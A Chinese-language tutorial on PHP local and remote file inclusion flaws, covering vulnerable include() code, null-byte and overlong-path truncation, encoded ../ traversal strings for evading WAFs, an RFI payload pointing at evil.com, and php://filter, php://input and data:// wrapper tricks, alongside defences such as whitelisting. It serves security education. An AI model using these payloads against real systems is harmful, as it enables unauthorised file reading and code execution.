文件包含基本概念
文件包含是“代码注入”的一种,其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行。
文件包含可能会出现在JSP,PHP,ASP等语言中。
PHP: include(), include_once, require(), require_once(), fopen(), readfile()
JSP/Servlet: ava.io.File(), Java.io.FileReader()
ASP: include file, include virtual
当PHP使用前4个函数包含新文件的时候,该文件将作为PHP代码执行,PHP的内核并不会在意被包含的文件是什么类型。
文件包含利用条件
- include()等函数通过动态变量的方式引入需要包含的文件
example:
<?php
$file = $_GET['file'];
@include_once("$file" . "/templete/tpl.html");
?>
黑客可以采取:
1) %00、/0截断的方式使程序包含攻击者想要的文件
2) 攻击者输入一个remote url: http://www.evil.com/index.php? ,如果目标服务器开启了allow_url_include = On则这句代码表现为: @include_once("http://www.evil.com/index.php?/templete/tpl.html");
可以看到,根据HTTP参数的定义,"?"后面的内容被当作了传给这个脚本的参数,从而达到了00截断相同的效果
- 用户能够控制该动态变量
<?php
$file = $_GET['file'];
@include_once("$file");
?>
LFI 本地文件包含
- 文件包含的作用
1) 将网站页面通用的page_header.php(常常显示banner信息等)、页面尾部page_footer.php(常常显示版权信息等)独立出来,这样在任何页面需要的时候就可以直接通过include方式引入进来,提高了代码的重用性,加快了开发速度
2) 将通用配置文件,例如数据库连接文件database.php单独封装出来,方便需要进行数据库连接的时候就可以直接通过include方式引入进来
3) 将一些涉及到安全过滤、输入检测的代码逻辑单独封装成一个secure.php文件,这样就可以在整个WEB系统中进行统一的安全过滤处理,防止因为各个业务场景的代码逻辑不一致导致的漏洞
4) WEB系统中广泛采用的文件缓存、数据缓存都是通过include方式完成的
- 一个例子
<?php
// "../../etc/passwd\0"
$file = $_GET['file'];
if(file_exists('/home/wwwrun/' . $file . '.php'))
{
inlcude '/home/wwwrun/' . $file . '.php';
}
?>
上图代码把inlcude路径的前缀部分、后缀部分都给控制住了。相比于连路径的前缀都由用户控制的那种漏洞已经安全多了。但是这里存在一些问题:
-
00字符截断
PHP内核是由C语言实现的,因此使用了C语言中的一些字符串处理函数。在连接字符串时,0字节(\x00)将作为字符串的结束符。../etc/passwd\0 ../etc/passwd%00 通过web输入,需要UrlEncode
防御方法:
在一般的web应用中,0字节用户其实是不需要的,因此完全可以禁用0字节<?php function getVar($name) { $value = isset($_GET[$name]) ? $_GET[$name] : null; if(is_string($value)) { $value = str_replace("\0", '', $value); }
-
超长字符截断
采用00字符过滤并没有完全解决问题,
利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。
利用"./"的方式即可构造出超长目录字符串:././././././././././././././././abc abc ..1/abc/../1/abc/../1/abc
-
任意目录遍历
使用 …/…/…/ 等来返回上级目录
还有编码的表示方式来绕过WAF%2e%2e%2f -> ../ %2e%2e/ -> ../ ..%2f -> ../ %2e%2e%5c -> ..\ %2e%2e%\ -> ..\ ..%5c -> ..\ %252e%252e%255c -> ..\ ..%255c -> ..\
总结
防御LFI的漏洞,应该尽量避免包含动态的变量,尤其是用户可以控制的变量。
可以使用白名单的方法
<?php
$file = $_GET['file'];
//whitelisting possible values
switch($file)
{
case "main":
case "foo":
case "bar":
include "/home/wwwrun/include" . $file . ".php";
break;
default:
include "/home/wwwrun/include/main.php";
}
?>
RFI 远程文件包含
远程文件包含本质上和LFI(本地文件包含)是同一个概念,只是被包含的"文件源"不是从本次磁盘上获得,而是从外部输入流得到。
如果PHP的配置选项 [allow_url_include = on] 的话,则include/require函数可以加载远程文件,这种漏洞被称为"远程文件包含漏洞(Remote File Inclusion RFI)"。
<?php
$basePath = $_GET['path'];
require_once $basePath . "/action/m_share.php";
?>
payload URL:
http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php?
最终执行:
require_once "http://localhost/test/solution.php?/action/m_share.php";
这种情况我们设置 allow_url_include = off 就可以了
PHP中的封装协议(伪协议)、PHP的流式文件操作模式
利用前述文件包含漏洞的目的:
1) 越权访问文件(/etc/passwd)
1.1) 00截断
1.2) 超长截断
1.3) 目录遍历的攻击方式
2) 任意代码执行
2.1) 通过正常、非正常将一个包含有脚本代码的文件上传到服务器上(常常是.jpg图片格式,将代码藏在图片中),然后在攻击paylaod中引入这个包含脚本代码的文件,使代码得以执行(图片木马)
2.2) 通过包含服务器上的WEB系统原本就存在的.php脚本文件达到改变代码逻辑的目的
2.3) 通过RFI(远程文件包含)将I/O流、协议流的资源描述符作为文件包含的输入源,从而利用HTTP通信将任意代码注入原始的脚本执行空间中
PHP中的封装协议:
0x1: 越权访问本地文件:
-
file://
file://这个伪协议可以展示"本地文件系统",当存在某个用户可控制、并得以访问执行的输入点时,我们可以尝试输入file://去试图获取本地磁盘文件 -
php://filter
php://filter是一种元封装器,设计用于"数据流打开"时的"筛选过滤"应用。这对于一体式(all-in-one)的文件函数非常有用,类似readfile()、file()、file_get_contens(),在数据流内容读取之前没有机会应用其他过滤器
<?php
@include($_GET["file"]);
?>
url: http://localhost/test/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
result: PD9waHAgc3lzdGVtKCdpcGNvbmZpZycpOz8+ (base64解密就可以看到内容,这里如果不进行base64_encode,则被include进来的代码就会被执行,导致看不到源代码)
0x2: 代码任意执行:
-
php://input
php://input 是个可以访问请求的原始数据的只读流(这个原始数据指的是POST数据) -
data://伪协议
这是一种数据流封装器,data:URI schema(URL schema可以是很多形式)
利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中
0x3: 目录遍历:
- glob://伪协议
glob:// 查找匹配的文件路径模式
<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://E:\\wamp\\www\\test\\*.php");
foreach($it as $f)
{
printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>